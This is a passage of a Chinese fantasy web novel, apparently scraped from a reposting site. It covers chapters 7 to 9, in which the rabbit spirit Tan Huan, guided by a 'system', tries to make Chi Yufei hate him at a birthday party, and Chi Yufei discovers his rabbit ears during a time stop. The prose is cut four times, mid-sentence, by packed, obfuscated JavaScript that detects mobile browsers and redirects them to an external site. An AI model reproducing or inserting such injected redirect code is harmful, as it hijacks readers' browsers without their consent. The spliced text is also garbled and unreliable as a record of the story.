谭欢刚松开一点力道的双腿再次收紧,双手紧紧抱着迟与非的头,把迟与非的头发抓得乱七八糟。 “不许开灯!”谭欢“啪”一声把灯关上。 迟与非“啪”一声又把灯打开。 “关上!” “啪!”谭欢关灯。 “啪!”迟与非开灯。 “啪啪啪啪啪啪——” 两个人都不再说话,只一味地开灯关灯。 没有谭欢压着的门板开着一条缝隙,刚去打了一通电话的周洛辰走到长廊,看到门缝后闪烁的灯光,一脸莫名。 “与非这是在做什么?手动蹦迪?” 房间里,谭欢的体力已经撑不住了,迟与非却还强得像头没阉割的公牛。 再又一次关灯后,谭欢松开迟与非的头,双手顺着迟与非的后背往下探,身体前倾,几乎倒挂在迟与非身上,双手终于摸到了迟与非后背的衣摆。 他揪着衣摆用力向上掀,双腿松开迟与非的腰,蜷缩到身前,双脚踩住迟与非的胸口,用力一蹬,迟与非身上的外套就被谭欢从后面给硬生生拽了下来。 外套拽下来的一瞬间迟与非打开了灯,而谭欢已经将迟与非的外套裹在头顶,正一脸挑衅地看着迟与非,将两只袖子在下巴处打结。 谭欢皮肤泛红,气喘吁吁,力气使用过度,双腿站着都在发抖,整个人摇摇晃晃。 迟与非也好不到哪去,他头发凌乱,衬衫衣摆都被谭欢扯了出来,胸口还有两个脚印。 迟与非脸上的微笑彻底消失,一双黑眸冷冰冰地看着谭欢。 谭欢被看得发毛,他悄悄往后退了一步,又挺起胸膛,气鼓鼓地往前迈了一大步,手却悄悄摸向裤子口袋。 迟与非死死盯着谭欢,薄唇突然缓缓牵起一抹弧度。 这笑让谭欢彻底炸毛,他从口袋里掏出打火机,打开火苗扔向地上的大黑袋子,与此同时,迟与非瞬间暴起将谭欢压制在沙发上。 房门在这时被推开,周洛辰出现在门口,刚要说话嘴巴就大张着僵住了。 只见谭欢仰躺在沙发上,头上裹着一件明显很大的、不属于他的外套,而迟与非单膝压制在谭欢双腿之间,只穿着衬衫,一身凌乱,一手压着谭欢的肩膀,一手紧攥谭欢的手腕,脸上带着诡异的微笑,像要低头狠狠吻下去。 房间里响起“滋啦”的燃烧声,几秒钟后,噼里啪啦的鞭炮声响起,五颜六色的烟花在房间内绽放,烟尘弥漫,一只九瓣莲烟花被鞭炮乱甩的尾巴引燃,莲花瓣一片接一片绽放,清晰响亮的歌声在鞭炮和烟花的声音里唱了起来。 “祝你生日快乐~祝你生日快乐~” 在烟尘、烟花、鞭炮与歌声中,谭欢狠狠吸了两口呛人的空气,咳出眼泪,蹬着腿向周洛辰求救。 “洛辰!救命啊!迟与非要打我!他要掐死我!” 周洛辰站在门口什么都没听到,他的耳朵快被鞭炮声震聋了,在闪烁的烟花里,他看到谭欢一脸泪花,在迟与非的桎梏下不断挣扎,领口有些松散,露出脖颈一片绯红,而迟与非的手就压在谭欢的肩膀上,指尖压着那处皮肤。 那红是谭欢自己搓黑线搓红的,但在周洛辰眼里,怎么看都像迟与非在欺负谭欢。 周洛辰微微皱眉,捂着口鼻走进去将两人撕开。 等鞭炮和烟花结束,在生日快乐歌的欢送中,三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075404|163355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人来到一楼客厅,身上均洒满了鞭炮纸屑和灰尘,周洛辰还好一点,迟与非和谭欢两个像在泥土里打过滚。 周洛辰站在两人中间,谭欢正在控诉迟与非。 谭欢是圣星的王子,虽然不受待见,但教养是好的,他说不出太过分的话,翻来覆去只说迟与非欺负他。 迟与非已经恢复了往日的模样,似笑非笑地看着他。 周洛辰是糊涂判官,以他刚刚看到的,的确像迟与非欺负谭欢。 他不赞同地看向迟与非,“与非,小欢比你小好几岁,虽然任性了点,但你也不能那样欺负他。” 迟与非丝毫不为自己辩解,只看着谭欢微笑。 谭欢被迟与非笑得头皮发麻,他忍不住避开迟与非的视线,小动物的天性让他想拔腿逃跑。 周洛辰说完迟与非,又来说谭欢,“小欢,如今谭叔叔和谭阿姨都在国外,没人管着你,你也不能就这么任性,收着点,与非刚回国不久,你们两个就算有矛盾又能有什么大事?” 周洛辰又看向谭欢头上裹着的外套,一脸纠结:“你就算喜欢与非的外套,也别……也别闹这么大的乌龙出来。” 谭欢摸了摸头顶的外套,撇撇嘴,“我才不喜欢。” “好了,现在我在这里做个见证,你们握手言和吧。”周洛辰道。 谭欢把手背到身后,没想到迟与非当真伸出手,笑意虚假: “好啊,握手言和。” 谭欢犹豫着伸手,系统立刻阻止: [宿主不要啊!记住你的人设!你是恶毒男配!] 谭欢指尖蜷缩,突然指了某个地方,大叫道:“洛辰你看那里!” 周洛辰转头,谭欢趁机用力拍开迟与非的手,冲迟与非吐舌头做了个鬼脸。 迟与非放下手,唇边笑意大了几分,身上的危险感也细密收拢,瞬间戴上了完美的面具。 周洛辰转回头,就见两个人都已放下手,谭欢目光闪躲,迟与非微笑有礼。 谭欢有些心虚,他捡起自己的帽子,找了个借口就往外跑。 周洛辰跟谭欢道别,看着谭欢飞快跑出门,突然一脸茫然地看向迟与非。 “与非,小欢大晚上来干什么?” 迟与非站在窗边没说话,他看着窗外狂奔的谭欢,眸里深藏的厌烦越来越浓。 看来需要处理掉这个二百五了。 窗外,谭欢正往铁门处狂奔,心里激动。 [啊啊啊!系统,你看见了没?迟与非刚刚那个样子,他绝对是怕我了,因为周洛辰说他了,所以他选择隐忍!系统你快看看迟与非对我的恨意值涨没涨!] 系统赶紧查看,同样激动:[涨了!真的涨了!现在有1%了!] 谭欢开心坏了,忍不住蹦蹦跳跳,他刚在里面折腾出一身汗,这会儿夜风一吹,皮肤变凉,偏偏后颈和后背仍旧灼热,那里的皮肤还记得被迟与非用力触碰时的感觉,反而越来越热,越来越烫,而被迟与非呼吸喷洒过的肚皮也开始酸软。 再又一次蹦跳时,谭欢腰窝一麻,跌坐在地。 他茫然地往后摸了摸自己的腰,又摸了摸自己的肚子,震惊: [完蛋了系统,我好像真的要假孕了!] 系统也开始沮丧:[完蛋了宿主,刚刚涨了1%的恨意值怎么又跌回0%了!我们今晚的努力全白费了!] 窗内,迟与非转身离开,唇边笑意带上几分讥讽。 一个能平地摔,巧言令色又贪欢馋欲的二百五罢了,没必要。 颈侧微痒,迟与非自颈边揪下一团洁白茸毛。 茸毛已经染上了他的温度,捏在指尖柔软细腻。 迟与非将毛团凑到鼻尖轻嗅,上面传来和谭欢一模一样的味道。 这是谭欢的毛。 哪里的毛? 7. 聪明的谭欢 谭欢扶着腰抖着腿,颤颤巍巍地回到车上,在大学生司机八卦到憋不住的表情里,主动升上隔板,瘫软在车座里。 他的身体热到极限,更可耻的是肚子传来一种难言的鼓胀感,他现在已经确定以及肯定,他真的假孕了。 本来公兔子精是不会假孕的,可要命的是他血脉混得太多了,引起了一些莫名其妙的变异,产生的副作用多如牛毛,比如公兔子假孕。 他以前只听他父亲说过这个可能,但他以前的发情期有父亲帮他施咒法压制,也没人会碰他的后颈后背,这还是他第一次假孕。 车子一路行驶,下车后,谭欢扶着墙回到家,照旧给大学生司机转了丰厚的工资,外加一笔封口费。 谭欢现在一身狼狈,他进门就跪坐在门口,再走一步的力气都没有了。 他把裹在头顶的外套拿下来,本该将这件外套和上一次从迟与非那里拿走的外套一起塞进角落里眼不见为净,可此时他假孕了,偏偏始作俑者就是外套的主人迟与非。 他抱着迟与非的外套,指尖紧紧揪着布料,满脸挣扎,最终一脸屈辱地将脸埋进外套里深深嗅闻。 对于假孕期的兔子精来说,始作俑者的气息能让他很好地平复身体上的难耐和心情上的焦躁不安。 系统体贴地没有询问,但表情已经在谭欢的脑袋里刷屏了。 [O0O、O0O、O0O……] 谭欢露在外面的耳朵脖颈红透了,连指关节都泛着薄红,兔耳朵软塌塌的垂下来,声音软得系统想给自己的耳朵里塞满马赛克,如果它有耳朵的话。 “系统,不许在我脑袋里刷屏。” 系统正经道:[宿主,你这样真的没问题吗?] 谭欢将脸颊在迟与非的外套上轻轻蹭了蹭,拎着外套站起来,晃晃悠悠地走向卧室。 “我好想搭一个窝。” 谭欢将迟与非的另一件外套也翻出来扔在床上,把床上原本的枕头、被子推下去,蜷缩进迟与非的外套里,又从兔耳朵上揪下几缕兔毛塞进外套里。 大床上,长着兔耳朵的漂亮青年眼尾一片绯红,半敛着眸,眸中一片水润,眼波流转间勾人夺魄。 系统看了一会儿,忍不住给谭欢的头打了马赛克。 明明谭欢的衣服穿得好好的,可就是给人一种刚被蹂躏过的禁忌感。 谭欢在迟与非的气息里躺了好久,一边躺一边委屈,小声咒骂着迟与非。 他是圣星的王子,他有最优秀的教养和礼仪,他骂不出什么难听的话,只是“王八蛋”“大浑蛋”的重复。 等身体上的燥热缓解,心情上的焦躁不安被慢慢抚平,谭欢立刻爬起来,蹬腿将迟与非的外套踢到地上,跳下床直奔浴室泡冰块浴。 莫名其妙被勾起的假孕让谭欢气坏了,他拍打着漂浮在浴缸上的冰块,问系统有没有什么气迟与非的小任务。 系统哗啦哗啦翻书,[还真有!在书里,你是一个时时刻刻都在惹人烦的恶毒男配,惹人烦的方式千奇百怪,比如加了迟与非的VX,不停给迟与非发一些狠话之类的。] 谭欢立刻翻通讯录,“可我没有迟与非的VX啊!” 系统:[问周洛辰要啊!] 谭欢找了个冠冕堂皇的借口向周洛辰要来迟与非的VX,发过去了好友申请。 没几秒,他的好友申请就被拒绝了。 谭欢再发,迟与非再拒绝,谭欢再再发,迟与非再再拒绝。 来回了十几次,谭欢有点泄气。 系统给他打气:[宿主别放弃啊!想想王位!王位在等着你呢!] 谭欢猛地挺直腰板,“我的王位!” 他再一次给迟与非发送好友申请,这回还加了一句话: 【迟与非,我是谭欢,你要是再不加我,你就死定了!】 “叮咚。”好友通过。 谭欢惊喜:“系统!你看!我说狠话迟与非立刻就通过了!经过今晚的事,他是不是已经怕我了?” 系统也惊喜:[一定是的!宿主,这是好兆头!] 谭欢看着出现在好友列表里的迟与非,绞尽脑汁想他要发什么才能让迟与非恨他。 发一段狠话?好像力度不够,太干巴了。 谭欢泡完冰块浴,披着浴袍走出来,瞥到地上两件皱巴巴的西装外套。 那上面属于迟与非的味道已经很淡了,对谭欢的安抚作用也无限趋近于零了。 谭欢眼睛一亮,走过去一脚踩在外套上,拍了一张照片,发给迟与非,再配上一句狠话。 这下就不干巴了,有图有狠话,完美。 趁着发情期被暂时压制,假孕反应不强烈,谭欢赶紧爬上床睡觉。 另一边,迟与非早已回到了自己家。 夜晚是一个工作狂不容错过的美好加班时间,工作狂迟与非正在处理工作。 手机震动,迟与非看到好友申请,毫不犹豫点了拒绝。 谭欢作为一个恶毒男配,VX头像就是他自己的臭美照片,很好辨认。 拒绝后,手机开始接二连三地震动,谭欢的好友申请一刻不停,迟与非也拒绝了无数次。 就在他准备拉黑谭欢时,指尖顿了顿,鬼使神差地点了同意。 迟与非放下工作,翻开记事本,在记录了三行时间的那一页,夹着一团洁白柔软的茸毛。 迟与非捻起茸毛打量,手机收到了谭欢发来的消息。 【谭欢:迟与非,我早晚会将你踩在脚下!】 下面是一张照片,照片里,一只还沾着水珠的脚踩在两件外套上。 那只脚形状优美秀气,指甲粉润,脚踝都是粉的,骨头纤细,一只手就能握住,稍微大点力气就能捏断。 迟与非一眼就看出那是他的外套。 他指尖轻点桌面,片刻后给秘书发了一条消息和一张照片。 【明天去把这团毛化验一下是什么东西。】 他将那团茸毛装进透明袋子,重新塞进记事本中,起身走向地下室。 向下的楼梯寂静黑暗,迟与非眼前浮现谭欢粉色的脚踝,又想起谭欢脖颈上的绯红。 他知道那是谭欢搓洗黑线时自己搓红的。 谭欢的皮肤很薄,不需要多大力气就能变出很漂亮的颜色。 迟与非脚步一顿,走向地下室的步伐快了几分。 直到地下室的门打开又关闭,黑暗淹没一切。 隔天,谭欢晕乎乎地坐起来,系统在他脑袋里说了好多话,他好半晌才有反应。 系统:[宿主,你好像发烧了!] ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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[宿主,只要生日宴会的任务完成,迟与非就会因此意志消沉一阵子,天天醉酒,而你趁此机会,找人潜入迟与非家,想要划花迟与非的脸,当然你不会成功啦!你的人会被迟与非发现,也因为这件事,迟与非会特别特别恨你,说不定我们能通过这两个剧情点直接刷满迟与非的恨意值呢!] 谭欢有了点精神,“哇!直接刷满!那我就能回圣星夺王位了!” 系统提醒:[宿主,你现在就可以找能够潜入迟与非家的人了,书中写的是你找了个人应聘成为迟与非家的管家。] 这个事情听着很危险,不好再找大学生,谭欢从自己的VX列表里翻出几个狐朋狗友,让他们帮忙找人。 以防万一,谭欢不准备让人带真刀去,他特意买了那种能够伸缩的假刀,反正划花迟与非的脸这事一定会失败,主要目的是让迟与非知道他干了这么过分的事情,让迟与非恨他,刷迟与非的恨意值。 之后几天,谭欢一边养病一边用晕乎乎的脑袋背台词,周洛辰的生日宴在即,谭欢觉得自己的台词背得差不多了,他的感冒也快好了,但另一个任务的准备却不顺利。 派去迟与非家面试管家的人全都没有通过,谭欢想了想,最终决定等生日宴会结束,他要带着假刀亲自潜入迟与非家做这个任务,他觉得这样说不定更好,能让迟与非更恨他。 系统也觉得不错,不停夸谭欢聪明。 很快,聪明的谭欢感冒好了,周洛辰的生日宴会也到了。 生日宴会当天,谭欢戴着小帽子藏住兔耳朵,穿着能够挡住屁股的礼服藏住兔尾巴,一脸意气风发地站在生日宴会的门口。 恨意值,他来啦! 王位,唾手可得! 8. 谭欢是兔子 谭欢一进来,迟与非就注意到他了。 不仅是迟与非,宴会里的大部分人都看向了谭欢,这个谭家的小儿子,出了名的漂亮,也是出了名的讨人嫌。 谭欢扬起下巴,高傲地站在门口环视一圈,收获了一堆惊艳夹杂着厌恶等复杂情绪的眼神后,满意地翘起嘴角。 [系统!他们看起来都很讨厌我!我的恶毒男配人设又深刻了是不是!] [是是是!宿主干得好!]系统配合着彩虹屁,情绪价值拉满。 周洛辰的生日宴会厅很大,一眼看过去全是人,这会儿宴会还没正式开始,周洛辰和迟与非站在一起,正被很多人围着说话。 谭欢不急着过去,他拎着给周洛辰买的生日礼物,找到负责收礼物的管家,将礼物递了过去。 他准备了两份礼物,一份是按照系统给的剧情准备的领带,另一份则是谭欢自己很喜欢的九瓣莲生日烟花。 他只将领带递给管家,烟花自己拿着。 上次在周洛辰家,这款点燃后会开花还能唱很久生日快乐歌的烟花深得谭欢的喜爱,领带不是谭欢自己想送的礼物,但烟花却是他自己喜欢的。 他来得不算早,到点后,周洛辰上台讲话,很快有佣人推着比人高的大蛋糕过来,周洛辰讲完话,生日宴会正式开始,专门聘请的钢琴家坐在一旁弹起优美的钢琴曲。 谭欢走过去,将九瓣莲烟花放到蛋糕旁边让管家点燃。 管家一脸为难,不肯点,这烟花怎么看都上不得台面。 谭欢不是会为难人的性格,管家不想点,他抱起烟花想要放弃,但系统在他脑海里发警报。 [OOC警报!OOC警报!宿主你是恶毒男配啊!不可以这么好说话的!] 谭欢听到这话又停了下来。 他顶着管家从为难到厌恶的眼神,自己点燃了烟花。 “刺啦”的燃烧声响起,九瓣莲花瓣一片片绽放,响亮到穿透钢琴曲的电子音生日快乐歌响起,喧嚣的宴会厅霎时安静了下来,连钢琴曲都停下了。 所有人都看向了谭欢,又看到了谭欢脚边“刺啦刺啦”转圈喷烟唱生日快乐歌的九瓣莲烟花。 艳俗的烟花和高雅的宴会格格不入,这不像祝福,倒像故意来搅局惹人厌的。 谭欢怎么说也是个王子,被这么多人看着他一点压力都没有。 他在人群里找到周洛辰,冲周洛辰扬了扬手,“洛辰,生日快乐!” 周洛辰嘴角抽了抽,举起酒杯冲他点了点头。 钢琴家回过神来,重新弹起钢琴曲,宴会厅也逐渐恢复热闹,系统在谭欢脑袋里欢呼。 [宿主你太棒啦!虽然不知道为什么!但是这个宴会里的人在刚刚似乎都更讨厌你了一点!你的恶毒男配人设更深刻啦!] 谭欢一挺胸膛,看向了站在周洛辰身旁的迟与非。 [我当然棒啦!系统你看着,我立刻就去把迟与非气得七窍生烟!] 迟与非真的太高了,气质相貌都是绝佳,在一群名流里依旧鹤立鸡群。 谭欢拍了拍自己的脸,努力皱起眉毛,摆出怒气冲冲的表情,在系统的加油呐喊里,大步走了过去。 迟与非拿着酒杯,看到谭欢走过来,唇边的笑意淡了几分。 前几天他让秘书拿去化验的茸毛早就得到了结果,那是一团兔毛。 谭欢身上为什么有兔毛,迟与非已经有了猜测。 当初在周洛辰家里,谭欢不让他开灯,藏着掖着怕他看到脑袋,大概是和谭欢一直戴在屁股上的那种东西一样,藏了为见周洛辰准备的一些见不得人的情趣用品。 假兔耳朵、兔毛肛塞?总归是些恶心玩意。 谭欢就这么喜欢周洛辰,这么贪欢馋欲,为了周洛辰时时刻刻戴着这些东西。 此时看到谭欢怒气冲冲地向他走来,迟与非心中的厌烦更甚。 这个二百五又要来跟他说一些智障狠话,又是为了周洛辰。 迟与非轻啜一口酒液,眸光微黯。 这次他一定会处理掉这个二百五。 谭欢昂首挺胸走到迟与非面前,双手叉腰,恶狠狠地瞪着迟与非,张了张嘴,没说话。 九瓣莲烟花刺耳的生日快乐歌和高雅的钢琴曲交叠着在宴会厅内环绕,谭欢满脑袋都是“祝你生日快乐”,背了好几天的台词竟连第一句都想不起来了。 谭欢深呼吸,再深呼吸,脸颊涨红,半天没吐出来一个字。 迟与非等烦了,放下酒杯想走,喧闹的宴会厅突然变得寂静。 这次不仅是钢琴曲,连生日快乐歌都消失了,没有人再说话,所有人都保持着上一秒的姿势一动不动,连眼睛都不眨一下。 宴会厅三面玻璃的落地窗外,飞鸟保持着扇动翅膀的姿势停在半空中,挂在高处的钟表指针不再转动,这个世界的时间被暂停了。 迟与非心脏重重一跳,他立刻发现异常,微垂眸子装作和其他人一样,一动不动。 宴会厅的透光性极佳,阳光徐徐倾洒,在阳光下,谭欢摘下小帽子,露出头顶一对毛茸茸的兔耳朵。 两只兔耳朵被帽子压得有点久了,毛毛乱糟糟的,还有点痒。 谭欢抖了抖自己的兔耳朵,左右摇晃,又懊恼地用手抓了抓。 “啊啊啊,又忘词了。” 系统震惊:[宿主,你背了好几天……] 谭欢心虚:“我感冒了嘛,脑袋不舒服,背不熟……不过没关系,我准备了小抄!” 他从口袋里翻出一张纸,配着动作和表情,紧急复习台词,临时抱佛脚。 他背得很认真,完全没注意到本该和其他人一样一动不动的迟与非正定定地看着他。 那双黑眸在阳光下依旧幽深黑暗,深不见底。 迟与非看着谭欢头顶灵活的兔耳朵,想到了秘书化验的那团兔毛,想到了谭欢屁股后面总是顶出来的鼓包,想到了记事本上三次时间暂停的记录。 原来不是贪欢馋欲,不是情趣用品。 谭欢是一只真正的兔子,帽子底下、屁股后面,谭欢藏了又藏的,是他自己的兔耳朵和兔尾巴,是他的秘密。 迟与非在谭欢低头看小抄时,轻轻眨了下眼睛。 还是一只秘密很多,会魔法的兔子。 谭欢在迟与非的眼皮子底下背台词练动作,重复了二十多遍才收起小抄。 “这回准不会出错了。”谭欢自信满满。 系统加油打气:[好!宿主!我们一鼓作气完成这个剧情吧!] 谭欢用力点头,“嗯!但是……” 系统:[但是?] 谭欢走到迟与非面前,仰起头看比他高特别多的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075406|163355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迟与非,脚尖犹豫着蹭了蹭地面。 “我忍不住了……” 系统:[什么忍不住了?] 谭欢:“你知道的,我假孕了嘛。” 谭欢咬唇,踮起脚,凑到迟与非颈项间轻轻嗅闻。 属于迟与非似冰雪般的冷淡气息涌入鼻间,谭欢心底因假孕一直弥漫的不安焦躁瞬间被抚平,小腹深处的鼓胀不舒服也消减不少。 谭欢的感冒一好,发情期和假孕的反应立刻重新占据身体,谭欢其实忍得很辛苦。 他踮着脚尖,越凑越近,嗅闻得越来越用力。 他呢喃着给自己找借口,“反正时间暂停了嘛,迟与非又不会知道。” 他鼻尖碰到了迟与非颈侧的皮肤,属于迟与非的温度比气息更好用,谭欢忍不住用鼻尖轻轻磨蹭,头顶的兔耳朵也轻扫着迟与非的颈侧和下巴。 柔嫩的鼻尖、绵软的兔耳朵不断搔着迟与非的皮肤,属于谭欢清甜的香味扑满鼻间,迟与非垂在身侧的指尖轻轻动了下,正贪恋着迟与非体温和气息的谭欢完全没注意到。 “不够不够……”越是靠近迟与非,越是闻到迟与非的气息,感受到迟与非的温度,谭欢越想得到更多的安慰。 他是假孕期的兔子精,这本该是他最需要始作俑者陪伴的时期,也是他最脆弱的时期,可偏偏这假孕期的由来如此乌龙。 时间暂停马上就要结束了。 谭欢稍微退开一些,桃花眼迷离茫然地看着迟与非,眼尾桃红、双眸湿润,每一眼都饱含深情,仿佛他深爱着迟与非。 系统已经被谭欢突如其来的举动吓死机了,半晌没出声。 谭欢轻轻叹了口气,他从自己的兔耳朵上揪下一缕毛塞进迟与非的口袋,在时间暂停结束前的最后几秒,突然用力扑进迟与非的怀里,脸颊埋入迟与非的胸口,重重地抱了一下迟与非。 迟与非瞳孔骤然收缩,谭欢只抱了一瞬,因此没有听到迟与非加快的心跳。 迟与非活了28年,从没有和任何人如此亲近过,也从没有任何人能平安地离他这么近过。 谭欢重新戴好自己的小帽子,叉腰摆好姿势,眨了眨眼睛。 暂停的时间恢复,钢琴曲和生日快乐歌一起回归。 在喧嚣的人声里,迟与非眼珠转动,死死锁定谭欢。 谭欢伸出手指,指着迟与非的鼻尖,又因身高不够,还踮了踮脚。 他终于把那一长段台词背了出来,用他自认为最恶毒的语气:“迟与非,我再次警告你,你最好离周洛辰远一点,不要以为你仗着周洛辰好朋友的身份就能为所欲为……” 背错了。迟与非垂眸看着面前张牙舞爪的小兔子,他听谭欢念了二十几遍台词,他确定谭欢最后还是背错了。 谭欢没注意到迟与非脸上惯常的微笑不见了,他背完台词,昂首挺胸地走了,迈的步子很大,力求让自己看起来潇洒又帅气。 他和系统在脑海里欢呼,期待着即将飞涨的恨意值。 同样,他们谁都没注意到迟与非在谭欢身后缓缓勾起嘴角,重新露出微笑,一个与以往虚假笑容不同的,充满玩味和兴趣的微笑。 迟与非从口袋里掏出那缕洁白柔软的兔毛夹在指尖把玩。 抓到你了,蠢兔子。 他也不是那么急着处理掉这个二百五了。 9. 灌醉他 谭欢背台词时的声音特别响亮,字正腔圆,生怕别人听不见。 毕竟他的目的就是要迟与非出丑,要迟与非恨他。 此时宴会厅里交头接耳的声音越来越大,这些名流三三两两地聚在一起,视线在迟与非和谭欢身上转来绕去,酒杯掩映下的嘴都在小声八卦。 被这么多人看笑话议论,迟与非已经气死了吧。 谭欢勾起嘴角,笑得得意又骄傲。 [系统,快看看迟与非的恨意值多少了?是不是一下子就过半了?是不是已经恨死我了?] 系统迟迟没有说话。 谭欢催促:[系统?] 系统疑惑纠结茫然:[恨意值……还是0%。] 谭欢雄赳赳气昂昂的脚步顿住,得意地笑僵在脸上。 [你出BUG了吧?] 系统反驳:[作为同届中最优秀的毕业生!我统大强绝对不会出错!迟与非的恨意值仍是0%没错!宿主啊,你刚刚的任务做得不够到位,迟与非并没有生气,也没有恨你。] 谭欢凌乱了:[为什么?是我说的话不够狠吗?还是我表情不够凶?我都那样指着他的鼻子凶他了!他是没有脾气吗?他怎么还不恨我?] 谭欢凌乱着走过一排餐桌,边走边往嘴里塞好吃的,王子礼仪都顾不上了。 吃着吃着,谭欢猛地回头。 身后人头攒动,远处迟与非和周洛辰站在一起说话,两个人谁都没往这边看,刚刚的闹剧已经落幕,迟与非似乎没受到任何影响,依旧微笑有礼,斯文优雅。 谭欢盯着迟与非的侧脸看了看,转回头拿起一杯果汁喝。 刚喝两口,谭欢再次回头,眯着眼睛环视一圈,又慢慢转回来。 系统忍不住了:[宿主,你在找什么?] 谭欢一脸警惕:[我总觉得有人在看我,很危险的那种看。] 系统跟着谭欢的眼睛看了一圈:[没有啊,没有很危险的那种看,只有很讨厌你的那种看。] 谭欢端起一盘牛排,[真的没有吗?我感觉很准的,后背一直毛毛的。] 系统:[真的没有,宿主,咱们这个剧情点的任务看起来是完成了,但结果算失败,反正来都来了,不如趁机刷刷恶毒男配的人设值?人设值高了,OOC的容错率也会高。] 谭欢欣然同意:[好啊,怎么刷?] 系统为谭欢指点迷津:[看到那边没有?是谭大哥家的三个孩子,宿主,你过去狠狠地欺负他们吧!这样不仅三个孩子讨厌你,谭大哥、谭大嫂也会讨厌你。] 谭大哥和谭大嫂正在一边和人谈话,那三个孩子坐在沙发边吃东西,面前摆了不少好吃的。 谭欢盯着那些好吃的,挺直腰板走过去。 三个孩子一看到他立刻露出警惕的神情,凑到了一起。 谭欢坐在他们旁边,主动打招呼: “日月星,吃东西呢?” 谭大哥家三个孩子的名字很好记,分别是谭日、谭月、谭星。 那对龙凤胎不想理谭欢,大一点的谭日还记得礼数,对谭欢点头问好: “小叔叔好。” 谭欢坐得更近一点,龙凤胎不理他,他一点不生气,反而眼睛亮亮的,他就是来惹人嫌的嘛! 他指着龙凤胎面前的小蛋糕,问:“你们都喜欢什么味道的小蛋糕?” 谭月和谭星还是不想理他,谭日推了推弟弟妹妹,两个孩子这才撇撇嘴,分别说道: “我喜欢草莓的。” “我喜欢芒果的。” “这样啊……”谭欢快速伸手,在三个孩子逐渐瞪大眼睛的神情下,先后把盘子里的草莓和芒果味小蛋糕塞进嘴里。 他嘴巴塞得鼓鼓的,还要得意扬扬地冲三个孩子眨眼睛。 三个孩子被谭欢一波幼稚操作惊呆了,年龄小一点的龙凤胎慢慢反应过来,眨巴眨巴眼睛,泪水开始在眼眶里打转。 “小叔叔、小叔叔抢我们的小蛋糕……” “最讨厌小叔叔了……” “小叔叔最烦人了!” 谭欢好不容易咽下小蛋糕,微微弯腰,背对着其他人凑到龙凤胎面前,将自己的黑眸慢慢变成兔子红眸,故技重施:“不许哭!再哭我就把你们吃掉!” 龙凤胎愣了几秒,开始大声哭嚎。 在惊天动地地哭嚎声中,谭欢愉快地将整盘小蛋糕拿到自己面前,慢条斯理地吃了起来。 在宴会厅的另一边,迟与非目睹了谭欢欺负小孩子的全过程,他低头饮了一口酒,掩饰唇边加大的弧度。 谭欢的直觉没有出错,迟与非的确一直在盯着他看,看他藏着兔耳朵的小帽子,看他盖住兔尾巴的衣摆,看他……平坦的小腹。 迟与非确定在时间暂停时,他听到谭欢在和看不见的什么东西交谈,听到谭欢提到了假孕。 假孕,公兔子也会假孕吗? 如果能,根据谭欢的行为,迟与非确定导致谭欢假孕的人就是他。 迟与非的笑意更大了,唇边的酒杯一直没拿下来。 周洛辰正在一旁絮絮叨叨地替谭欢向迟与非道歉: “与非,我替小欢跟你道歉,他就是被谭叔叔和谭阿姨宠坏了,做事太任性,我找时间约他谈谈……” 迟与非放下酒杯,淡淡地说:“你们是什么关系?你替他道歉?你们是情侣吗?” 周洛辰愣了下,立刻否认:“怎么可能!只是谭叔叔和谭阿姨出国前托我多照顾小欢……” 周洛辰看着身旁的好友,明明迟与非的表情没有任何变化,可周洛辰就是觉得迟与非不太高兴。刚刚谭欢指着迟与非的鼻子说狠话时,迟与非都没这么不高兴。 可他为什么不高兴?因为他替谭欢道歉吗?周洛辰不解,他算是为数不多能够成为迟与非朋友的人,可就算是朋友,周洛辰也不得不承认,他从来没有真正了解过迟与非。 迟与非:“谭欢倒是挺在意你。” 周洛辰有些尴尬:“小欢年纪小,可能对我有一些过头的感情……” 迟与非似乎没再听周洛辰说话,他一直在盯着谭欢。 周洛辰更尴尬了,向来温柔的神情上出现一抹难堪和心虚。 谭欢表现得那么明显,他怎么可能不知道谭欢对他的感情?自从迟与非回国,谭欢更是误会了迟与非与他的关系,像只斗志昂扬的小公鸡,时时刻刻找迟与非的麻烦。 说实话,周洛辰真的挺烦谭欢这样的,但有时候又……有那么点虚荣心。 毕竟谭欢很漂亮,是很难找出第二个的那种漂亮,可谭欢的性格和人品又实在够烂,周洛辰无论如何都不会和谭欢在一起的。 所以他对谭欢的态度一直很模糊,他以为没人发现, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075407|163355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可他突然意识到他好像被迟与非看透了。 